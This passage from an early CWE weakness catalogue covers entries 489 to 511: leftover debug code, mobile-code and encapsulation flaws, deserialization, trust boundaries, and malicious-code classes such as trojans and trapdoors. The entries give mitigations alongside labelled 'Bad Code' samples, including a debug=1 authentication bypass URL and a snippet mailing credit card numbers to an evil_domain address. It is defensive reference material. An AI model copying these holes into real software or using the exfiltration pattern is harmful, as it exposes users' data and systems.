http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

Attack

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

Potential Mitigations

Remove debug code before deploying the application.

Other Notes

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, an attacker may be able to use it to perform these tasks. When this sort of debug code is left in the application, the application is open to unintended modes of interaction. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

While it is possible to leave debug code in an application in any language, in J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	**699 700 1000**	508
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

White Box Definitions

A weakness where code path has a statement that defines an entry point into an application which exposes additional state and control information

CWE-490: Mobile Code Issues

Category ID: 490 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are frequently found in mobile code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	699 **700**	508
ChildOf	C	503	Byte/Object Code	**699**	528
ParentOf	Ww	*491*	*Public cloneable() Method Without Final ('Object Hijack')*	***699***	*514*
ParentOf	Ww	*492*	*Use of Inner Class Containing Sensitive Data*	***699***	*515*
ParentOf	Ww	*493*	*Critical Public Variable Without Final Modifier*	***699***	*516*
ParentOf	Wb	*494*	*Download of Code Without Integrity Check*	***699***	*518*
ParentOf	Ww	*582*	*Array Declared Public, Final, and Static*	***699***	*575*
ParentOf	Ww	*583*	*finalize() Method Declared Public*	***699***	*576*

CWE-491: Public cloneable() Method Without Final (aka 'Object Hijack')

Weakness ID: 491 *(Weakness Variant)* **Status:** Draft

Description

Summary

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

Example 1:

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

Bad Code

```
public class BankAccount implements Cloneable{
  public Object clone(String accountnumber) throws
  CloneNotSupportedException
```

```
  {
    Object returnMe = new BankAccount(account number);
    ...
  }
}
```

Example 2:

In the example below, a clone() method is defined without being declared final.

Java Example: *Bad Code*

```
protected Object clone() throws CloneNotSupportedException {
  ...
}
```

Potential Mitigations

Make the cloneable() method final.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	485	Insufficient Encapsulation	**700**	508
ChildOf	Category	490	Mobile Code Issues	**699**	514
ChildOf	Weakness	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Mobile Code: Object Hijack

References

OWASP. "OWASP , Attack Category : Mobile code: object hijack". < http://www.owasp.org/index.php/Mobile_code:_object_hijack >.

CWE-492: Use of Inner Class Containing Sensitive Data

Weakness ID: 492 *(Weakness Variant)* **Status:** Draft

Description

Summary

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

"Inner Classes" data confidentiality aspects can often be overcome.

Likelihood of Exploit

Medium

Demonstrative Examples

The following Java Applet code mistakenly makes use of an inner class.

Java Example: *Bad Code*

```
public final class urlTool extends Applet {
  private final class urlHelper {
    ...
  }
  ...
}
```

Potential Mitigations

Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.

Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If your outer class is final or private, ensure that your inner class is private as well.

Other Notes

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	485	Insufficient Encapsulation	**700**	508
ChildOf	C	490	Mobile Code Issues	**699**	514
ChildOf	WE	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Mobile Code: Use of Inner Class
CLASP	Publicizing of private data when using inner classes

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product has a critical public variable that is not final, which allows the variable to be read or modified to contain unexpected values.

Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java
- C++

Common Consequences

Integrity

The object could potentially be tampered with.

Confidentiality

The object could potentially allow the object to be read.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

Bad Code

```
public final class WidgetData extends Applet {
  public float price;
  ...
  public WidgetData(...) {
    this.price = LookupPrice("MyWidgetType");
  }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

C++ Example:

Bad Code

```
public string configPath = "/etc/application/config.dat";
```

Java Example:

Bad Code

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

Potential Mitigations

Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	216	Containment Errors (Container Errors)	1000	246
ChildOf	Weakness	485	Insufficient Encapsulation	**700**	508
ChildOf	Category	490	Mobile Code Issues	**699**	514
ChildOf	Weakness	668	Exposure of Resource to Wrong Sphere	**1000**	658
ParentOf	Weakness	*500*	*Public Static Field Not Marked Final*	***699 1000***	*525*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Mobile Code: Non-Final Public Field

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to provide confidentiality for stored data

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494 *(Weakness Base)* **Status:** Draft

Description

Summary

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

This allows attackers to execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

Executing untrusted code could result in a compromise of the application and failure to function correctly for users.

Confidentiality

If an attacker can influence the untrusted code then, upon execution, it may provide the attacker with access to sensitive files.

Integrity

Executing untrusted code could compromise the control flow of the program, possibly also leading to the modification of sensitive resources.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example: *Bad Code*

```
URL[] classURLs= new URL[]{
  new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

Potential Mitigations

Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing. This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Architecture and Design
Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Architecture and Design

Use integrity checking on the transmitted code.

If you are providing the code that is to be downloaded, such as for automatic updates of your software, then use cryptographic signatures for your code and modify your download clients to verify the signatures. Ensure that your implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.

Use code signing technologies such as Authenticode. See references.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	79	Failure to Preserve Web Page Structure ('Cross-site Scripting')	1000	83
ChildOf	Category	490	Mobile Code Issues	**699**	514
ChildOf	Weakness	669	Incorrect Resource Transfer Between Spheres	**1000**	659
ChildOf	Category	752	Risky Resource Management	**750**	733
CanFollow	Weakness	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	*1000*	*83*

Research Gaps

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Invoking untrusted mobile code

References

Microsoft. "Introduction to Code Signing". < http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx >.

Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. < http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html >.

Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf >.

CWE-495: Private Array-Typed Field Returned From A Public Method

Weakness ID: 495 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product has a method that is declared public, but returns a reference to a private array, which could then be modified in unexpected ways.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Demonstrative Examples

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

Java Example: *Bad Code*

```
private String[] colors;
public String[] getColors() {
  return colors;
}
```

Potential Mitigations

Declare the method private.

Clone the member data and keep an unmodified version of the data private to the object.

Use public setter methods that govern how a member can be modified.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	**699** **700** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Private Array-Typed Field Returned From A Public Method

White Box Definitions

A weakness where code path has a statement that belongs to a public method and returns a reference to a private array field

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID: 496 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Assigning public data to a private array is equivalent to giving public access to the array.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Demonstrative Examples

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

Java Example:

Bad Code

```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
  this.userRoles = userRoles;
}
```

Potential Mitigations

Do not allow objects to modify private members of a class.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	**699** **700** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Public Data Assigned to Private Array-Typed Field

White Box Definitions

A weakness where code path has a statement that assigns a data item to a private array field and the data item is public

CWE-497: Information Leak of System Data

Weakness ID: 497 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Revealing system data or debugging information helps an adversary learn about the system and form an attack plan.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code prints the path environment variable to the standard error stream:

Bad Code

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

Example 2:

The following code prints an exception to the standard error stream:

Bad Code

```
try {
  ...
} catch (Exception e) {
  e.printStackTrace();
}
```

Bad Code

```
try {
  ...
```

```
} catch (Exception e) {
  Console.Writeline(e);
}
```

Depending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system will be vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Example 3:

The following code constructs a database connection string, uses it to create a new connection to the database, and prints it to the console.

Bad Code

```
string cs="database=northwind;
server=mySQLServer...";
SqlConnection conn=new SqlConnection(cs);
...
Console.Writeline(cs);
```

Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Potential Mitigations

Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs

Other Notes

An information leak occurs when system data or debugging information leaves the program through an output stream or logging function.. An attacker can cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, or crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. The application uses diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	200	Information Leak (Information Disclosure)	**699** **1000**	230
ChildOf	Wc	485	Insufficient Encapsulation	**700**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	System Information Leak

CWE-498: Information Leak through Class Cloning

Weakness ID: 498 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Common Consequences

Confidentiality

A class which can be cloned can be produced without executing the constructor.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example:

Bad Code

```
public class CloneClient {
  public CloneClient() //throws
  java.lang.CloneNotSupportedException {
    Teacher t1 = new Teacher("guddu","22,nagar road");
    //...
    // Do some stuff to remove the teacher.
    Teacher t2 = (Teacher)t1.clone();
    System.out.println(t2.name);
  }
  public static void main(String args[]) {
    new CloneClient();
  }
}
class Teacher implements Cloneable {
  public Object clone() {
    try {
      return super.clone();
    }
    catch (java.lang.CloneNotSupportedException e) {
      throw new RuntimeException(e.toString());
    }
  }
  public String name;
  public String clas;
  public Teacher(String name,String clas) {
    this.name = name;
    this.clas = clas;
  }
}
```

Potential Mitigations

Implementation

Make classes uncloneable by defining a clone function like: public final void clone() throws java.lang.CloneNotSupportedException { throw new java.lang.CloneNotSupportedException(); }

Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Other Notes

Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor. This is, of course, dangerous since numerous checks and security aspects of an object are often taken care of in the constructor.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	We	200	Information Leak (Information Disclosure)	699 1000	230
ChildOf	We	485	Insufficient Encapsulation	**699** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Information leak through class cloning

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID: 499 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description

Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

an attacker can write out the class to a byte stream, then extract the important data from it.

Likelihood of Exploit

High

Demonstrative Examples

Bad Code

```
class Teacher {
  private String name;
  private String clas;
  public Teacher(String name,String clas) {
    //...
    //Check the database for the name and address
    this.SetName() = name;
    this.Setclas() = clas;
  }
}
```

Potential Mitigations

Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Implementation

Make sure to prevent serialization of your objects.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	Wc	200	Information Leak (Information Disclosure)	699 1000	230
ChildOf	Wc	485	Insufficient Encapsulation	**699** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Information leak through serialization

CWE-500: Public Static Field Not Marked Final

Weakness ID: 500 *(Weakness Variant)* **Status:** Draft

Description

Summary

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java

Common Consequences

Integrity

The object could potentially be tampered with.

Confidentiality

The object could potentially allow the object to be read.

Likelihood of Exploit

High

Demonstrative Examples

This is a static variable that can be read without an accessor and changed without a mutator.

C++ Example: *Bad Code*

```
public:
  static string str = "My String";
```

Java Example: *Bad Code*

```
static public String str = "My String";
```

Potential Mitigations

Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Implementation

Make any static fields private and final.

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wm	493	Critical Public Variable Without Final Modifier	**699** **1000**	516

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Overflow of static internal buffer

White Box Definitions

A weakness where code path has a statement that defines a public field that is static and non-final

CWE-501: Trust Boundary Violation

Weakness ID: 501 *(Weakness Base)* **Status:** Draft

Description

Summary

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Java Example: *Bad Code*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
  session.setAttribute(ATTR_USR, usrname);
}
```

C# Example: *Bad Code*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
  session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

Other Notes

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary--to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. The most common way to make this mistake is to allow trusted and untrusted data to commingle in the same data structure.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	485	Insufficient Encapsulation	**699** **700** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Trust Boundary Violation

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

Data that is untrusted can not be trusted to be well-formed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Availability

If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

Authorization

Code could potentially make the assumption that information in the deserialized object is valid. Functions which make this dangerous assumption could be exploited.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example: *Bad Code*

```
try {
  File file = new File("object.obj");
  ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
  javax.swing.JButton button = (javax.swing.JButton) in.readObject();
  in.close();
  byte[] bytes = getBytesFromFile(file);
  in = new ObjectInputStream(new ByteArrayInputStream(bytes));
  button = (javax.swing.JButton) in.readObject();
  in.close();
}
```

Potential Mitigations

Requirements specification: A deserialization library could be used which provides a cryptographic framework to seal serialized data.

Implementation

Use the signing features of a language to assure that deserialized data has not been tainted.

Implementation

When deserializing data populate a new object rather than just deserializing, the result is that the data flows through safe input validation and that the functions are safe.

Implementation

Explicitly define final readObject() to prevent deserialization. An example of this is: private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); }

Implementation

Make fields transient to protect them from deserialization.

Other Notes

It is often convenient to serialize objects for convenient communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is of course a dangerous security assumption. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the non-transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	485	Insufficient Encapsulation	**699 1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Deserialization of untrusted data

CWE-503: Byte/Object Code

Category ID: 503 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are typically found within byte code or object code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	17	Code	**699**	13
ParentOf	Wa	*14*	*Compiler Removal of Code to Clear Buffers*	***699***	*10*
ParentOf	C	*490*	*Mobile Code Issues*	***699***	*514*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Object Code

CWE-504: Motivation/Intent

Category ID: 504 *(Category)* **Status:** Draft

Description

Summary

This category intends to capture the motivations and intentions of developers that lead to weaknesses that are found within CWE.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	*505*	*Intentionally Introduced Weakness*	***699***	*528*
ParentOf	C	*518*	*Inadvertently Introduced Weakness*	***699***	*535*
MemberOf	V	*699*	*Development Concepts*	***699***	*688*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Genesis

CWE-505: Intentionally Introduced Weakness

Category ID: 505 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category were intentionally introduced by the developer, typically as a result of prioritizing other aspects of the program over security, such as maintenance.

Extended Description

Characterizing intention is tricky: some features intentionally placed in programs can at the same time inadvertently introduce security flaws. For example, a feature that facilitates remote debugging or system maintenance may at the same time provide a trapdoor to a system. Where such cases can be distinguished, they are categorized as intentional but nonmalicious. Not wishing to endow programs with intentions, we nevertheless use the terms "malicious flaw," "malicious code," and so on, as shorthand for flaws, code, etc., that have been introduced into a system by an individual with malicious intent. Although some malicious flaws could be disguised as inadvertent flaws, this distinction can be easy to make in practice. Inadvertently created Trojan

horse programs are hardly likely, although an intentionally-introduced buffer overflow might plausibly seem to be an error.

Demonstrative Examples

The following snippet from a Java servlet demonstrates the use of a "debug" parameter that invokes debug-related functionality. If deployed into production, an attacker may use the debug parameter to get the application to divulge sensitive information.

Java Example: *Bad Code*

```
String mode = request.getParameter("mode");
// perform requested servlet task
...
if (mode.equals(DEBUG)) {
  // print sensitive information in client browser (PII, server statistics, etc.)
  ...
}
```

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		504	Motivation/Intent	**699**	528
ParentOf		*506*	*Embedded Malicious Code*	***699***	*529*
ParentOf		*513*	*Intentionally Introduced Nonmalicious Weakness*	***699***	*533*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Intentional

CWE-506: Embedded Malicious Code

Weakness ID: 506 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The application contains code that appears to be malicious in nature.

Extended Description

A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Time of Introduction

- Implementation

Demonstrative Examples

In the example below, a malicous developer has injected code to send credit card numbers to his email address.

Java Example: *Bad Code*

```
boolean authorizeCard(String ccn) {
  // Authorize credit card.
  ...
  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Potential Mitigations

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Other Notes

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		505	Intentionally Introduced Weakness	**699**	528
ChildOf	Wc	710	Coding Standards Violation	**1000**	711
ParentOf	We	*507*	*Trojan Horse*	***699 1000***	*530*
ParentOf	We	*510*	*Trapdoor*	***699 1000***	*531*
ParentOf	We	*511*	*Logic/Time Bomb*	***699 1000***	*532*
ParentOf	We	*512*	*Spyware*	***699 1000***	*533*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Malicious

CWE-507: Trojan Horse

Weakness ID: 507 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Terminology Notes

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.

Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case he or she presumably already possesses the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Most antivirus software scans for Trojan Horses.

Verify the integrity of the software that is being installed.

Other Notes

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	506	Embedded Malicious Code	**699 1000**	529
ParentOf	We	*508*	*Non-Replicating Malicious Code*	***699 1000***	*531*
ParentOf	We	*509*	*Replicating Malicious Code (Virus or Worm)*	***699 1000***	*531*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Trojan Horse

CWE-508: Non-Replicating Malicious Code

Weakness ID: 508 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Antivirus software can help mitigate known malicious code.

Verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	507	Trojan Horse	**699** **1000**	530

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Non-Replicating

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID: 509 *(Weakness Base)* **Status:** Incomplete

Description

Summary

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or software.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Antivirus software scans for viruses or worms.

Always verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	507	Trojan Horse	**699** **1000**	530

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Replicating (virus)

CWE-510: Trapdoor

Weakness ID: 510 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Potential Mitigations

Always verify the integrity of the software that is being installed.

Identify and closely inspect the conditions for entering privileged areas of the code, especially those related to authentication, process invocation, and network communications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	506	Embedded Malicious Code	**699** **1000**	529

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Trapdoor

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
56	Removing/short-circuiting 'guard logic'	

CWE-511: Logic/Time Bomb

Weakness ID: 511 *(Weakness Base)* **Status:** Incomplete

Description

Summary

